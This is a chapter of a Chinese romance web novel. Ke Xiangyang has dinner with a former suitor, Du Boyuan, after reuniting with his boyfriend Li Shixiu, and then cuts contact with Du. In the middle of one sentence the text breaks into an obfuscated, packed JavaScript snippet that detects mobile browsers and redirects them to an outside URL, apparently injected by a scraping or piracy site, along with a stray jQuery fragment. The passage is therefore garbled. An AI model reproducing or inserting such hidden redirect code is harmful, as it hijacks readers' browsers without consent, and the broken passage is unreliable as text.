“我、我、我只是想跟你交朋友。”柯向阳说完,看向乔梦书的眼神多了几分闪躲,“原来你是……同性恋啊。” 乔梦书:“怎么?你没看出来吗?” 柯向阳摇摇头,他根本没往那方面想过,对同性恋的了解仅仅局限于当初查阅的那点资料,后来他便没再了解过了。 乔梦书拆开一个柯向阳刚帮他领的快递,拿出一包自己买的小零食丢了过去:“你不也是吗?” 柯向阳一惊,慌乱地往周围看了一圈,另外两个舍友去上选修课了,这会宿舍只有他们俩,所以乔梦书说起话来无所顾忌:“放心,我不是那种大嘴巴的人。” 闻言,柯向阳坦白道:“我也不知道自己算不算,我只喜欢过一个男生。” 乔梦书:“你喜欢过女生吗?” 柯向阳:“没有。” “那你就是啊。”乔梦书单手托腮,“还对我那么好,我会误会也在情理之中。” 柯向阳不得不向他解释自己的种种行为都是参考了与厉时修的相处模式,他觉得朋友之间就该是真诚相待、毫无保留的。 “话是这么说没错啦,但也得有个度啊。”乔梦书总觉得不太对劲,“诶,你那个朋友是不是喜欢你啊?” “不可能,他不是同性恋,我之前问过他,他说同性恋恶心。”柯向阳重重叹了口气。 乔梦书早早知道自己的性向,跟同性相处时十分注意分寸,完全想象不到柯向阳所说的同性纯友谊,只当是自己见识少了,随后反应过来:“你喜欢的男生是你朋友吧?” “嗯。” “你看看你看看,这种相处模式多容易出事啊!你以后可不能再这么对别人了。”乔梦书没好气地提醒,“交朋友哪有那么复杂,两个人合得来就玩,合不来就不玩,你上赶着付出不一定能得到好结果,还好是遇见我,换个人指不定怎么坑你。” 柯向阳虚心受教:“嗯嗯,我知道了。” “不过初恋就喜欢上一个直男,你真够倒霉的。”乔梦书同情道,“以后你跟着我混,我带你去多认识点新帅哥,不要在一棵树上吊死了。” “谢谢你啊。”虽然柯向阳并没有想认识新帅哥的想法,但他知道乔梦书在替他着想,仍然真诚地道了句谢。 乔梦书撇撇嘴:“别老说谢了,不是想跟我交朋友吗?跟朋友没必要这么客气。” 两人这么聊了一通,关系瞬间拉近不少。 后来乔梦书确实带柯向阳认识了不少新朋友。 柯向阳性格好,脾气好,长得好,虽然有点社恐,但待人真诚,偶尔犯点傻在别人眼中也是个可可爱爱的天然呆,所以桃花运一直源源不断。 可他心里只有厉时修,从来没有想跟别人在一起的念头。 杜博远是在乔梦书拉着柯向阳参加的一次联谊会上认识的。 那个时候杜博远刚失恋,柯向阳见他一个人喝闷酒,于心不忍,陪他喝了两杯,安慰了几句,两人像朋友一样相处了一段时间,杜博远就跟柯向阳告白了,然后被柯向阳郑重地拒绝了。 * 柯向阳仔仔细细给厉时修回忆了一遍他和杜博远的往事,觉得没有任何问题。 “你看,我连他微信都没有呢。”坐在厉时修腿上的柯向阳将自己的手机递了过去,一副任由检查的样子。 厉时修也不客气,点开柯向阳的好友列表,从上往下划拉了一遍,还没看到底,一条新的好友申请突然出现在屏幕上方。 点开一看,备注里赫然写着“杜博远”三个字。 柯向阳:“……” 厉时修把手机还给柯向阳,好整以暇地靠着沙发,示意他自己处理。 柯向阳同意了杜博远的好友申请,毕竟杜博远向他告白过这件事已经过去好多年了,期间两人没有联系过,如今人家刚从外地回来,碰巧遇上约个饭,出于礼貌也不该拒绝。 杜博远并没有说什么越界的话,只是问了柯向阳明天有没有空,想约他们吃饭:【梦书那边我问过了,你要是方便的话,我们一起吃晚饭吧,我来订餐厅。】 柯向阳看了眼厉时修,回复:【好的。】 杜博远:【等订好了告诉你们。】 柯向阳又跟乔梦书确认了一下,见厉时修似乎没有不高兴,拍拍他的手:“好了,放手吧,我真的要去洗澡了。” 厉时修将手从柯向阳膝窝穿过,一把抱起他往浴室走:“一起洗。” 柯向阳是怎么进的浴室,后面就是怎么出的浴室,不同的是,原本白皙的皮肤镀上了一层淡淡的粉。 光着身子趴在床上的柯向阳闭眼享受厉时修的全身按摩,心里却大喊着不公平,明明厉时修出的力比较多,怎么每次都是他累得半死? * 第二天,柯向阳自己开车前去赴约,顺便将无所事事的厉时修送去公司加班。 杜博远定的是一家专门做台州菜的餐厅,只有三个人依然要了个需要低消的包厢。 一顿饭吃得还算开心,几人聊了大学时期的趣事糗事,也聊了工作后的糟心生活。 酒过三巡,乔梦书突然问道:“学长现在单身吗?” “嗯对,这些年一直没遇到合适的。”杜博远说这句话时,眼神不受控制地飘向柯向阳,“你、你们呢?” 乔梦书:“我前段时间刚结束一段感情,目前暂时没有恋爱的打算。” “我有男朋友了,就是昨天跟我们一起逛超市的厉时修。”柯向阳说到这,不好意思地笑了笑。 杜博远脸上的笑容明显顿住,端着酒杯的手悬在半空久久没有动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171871|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 饶是柯向阳再迟钝,此刻也从他的反应中读出了些什么。 包厢中的气氛陷入一阵尴尬的沉默。 意识到自己的失态,杜博远将手中的酒一饮而尽:“你男朋友看着人不错,挺好的,挺好的。” “学长你怎么自己喝上了,来来来,咱们一起碰个杯。”乔梦书适时打破僵局,又为杜博远倒了一杯酒。 之后,几人的心思彻底不在这顿饭上,匆匆结束了饭局,一起走出餐厅,齐朔已经在门口等着了。 乔梦书问:“你们怎么回去?” “我开车来的,叫了代驾。”杜博远看向柯向阳,“向阳,我送你吧?” “不用了学长,我男朋友会来接我。”柯向阳拒绝了。 乔梦书识趣地先走一步,给两人留下谈话空间,有些事还是得说清楚了好。 见人走远,柯向阳率先开口:“学长,你还记得我之前跟你说过我有个喜欢的人吗?” 杜博远:“记得,你说他出国了。” 柯向阳:“他已经回来了,就是我现在的男朋友。” 杜博远一愣,显然没想到是这个发展。 “我是在他回国之后才知道原来他也一直喜欢我。”说到这,柯向阳脸上不由自主地浮现笑意。 “你跟他在一起幸福吗?”杜博远说完自己都觉得好笑,“肯定很幸福吧。” “嗯。”柯向阳用力地点点头。 “那就好。” “学长,你肯定也能找到属于你的幸福。”柯向阳说完,看见不远处大步走来的厉时修,朝他挥了挥手,“我男朋友来了,我先走了,学长再见。” “好,路上小心。”杜博远注视着柯向阳离去的背影,看他飞奔向厉时修,被稳稳接住,两人短暂地相拥后,一起上了车。 柯向阳坐在副驾驶,看向后视镜,里面那个落寞的身影在逐渐变小,他酒意上头,喃喃道:“我以后还是不要跟学长联系了。” “怎么了?”厉时修轻声问。 “他好像真的还喜欢我。”柯向阳知道那种喜欢一个人却等不到回应的痛苦,他很幸运地跟厉时修在一起了,可杜博远还要继续品味那份孤寂不知多长时间。 “不想联系就不联系了。”虽然跟杜博远接触不多,但厉时修能感觉到他不是那种人品低劣的人,不再联系,断了对方的念想才是最尊重他的行为。 柯向阳掏出手机,看着与杜博远仅有一页的聊天记录,最终还是点进他的头像,选择删除好友。 车子驶入车库,厉时修熄火下车,从另一头把柯向阳带下来,揉了揉他的头,牵着他的手去坐电梯。 一直到被厉时修伺候着洗漱完躺在床上,柯向阳仍一脸费解:“为什么会喜欢我呢?我到底有什么值得他喜欢的。” 厉时修吻了吻他的额头:“当然是因为你本身就是一个值得喜欢的人啊。” 内心深处总埋藏着小小自卑的柯向阳对这句话持保留意见:“真的吗?” 望着柯向阳虽然带有怀疑却仍包含一丝希冀的眼睛,厉时修仿佛看见他的脑袋上耷拉着一对毛茸耳朵,可爱,想亲。 “你怎么不说话了?”柯向阳小声抱怨,“果然是在骗我。” 厉时修没有回答,俯身吻住柯向阳因不满而微微撅起的嘴。 他要用实际行动来向柯向阳证明,哪怕两人已经在一起,自己依旧会一次次地为他心动,反反复复地喜欢上他。 因为厉时修爱上柯向阳,就像呼吸一样简单。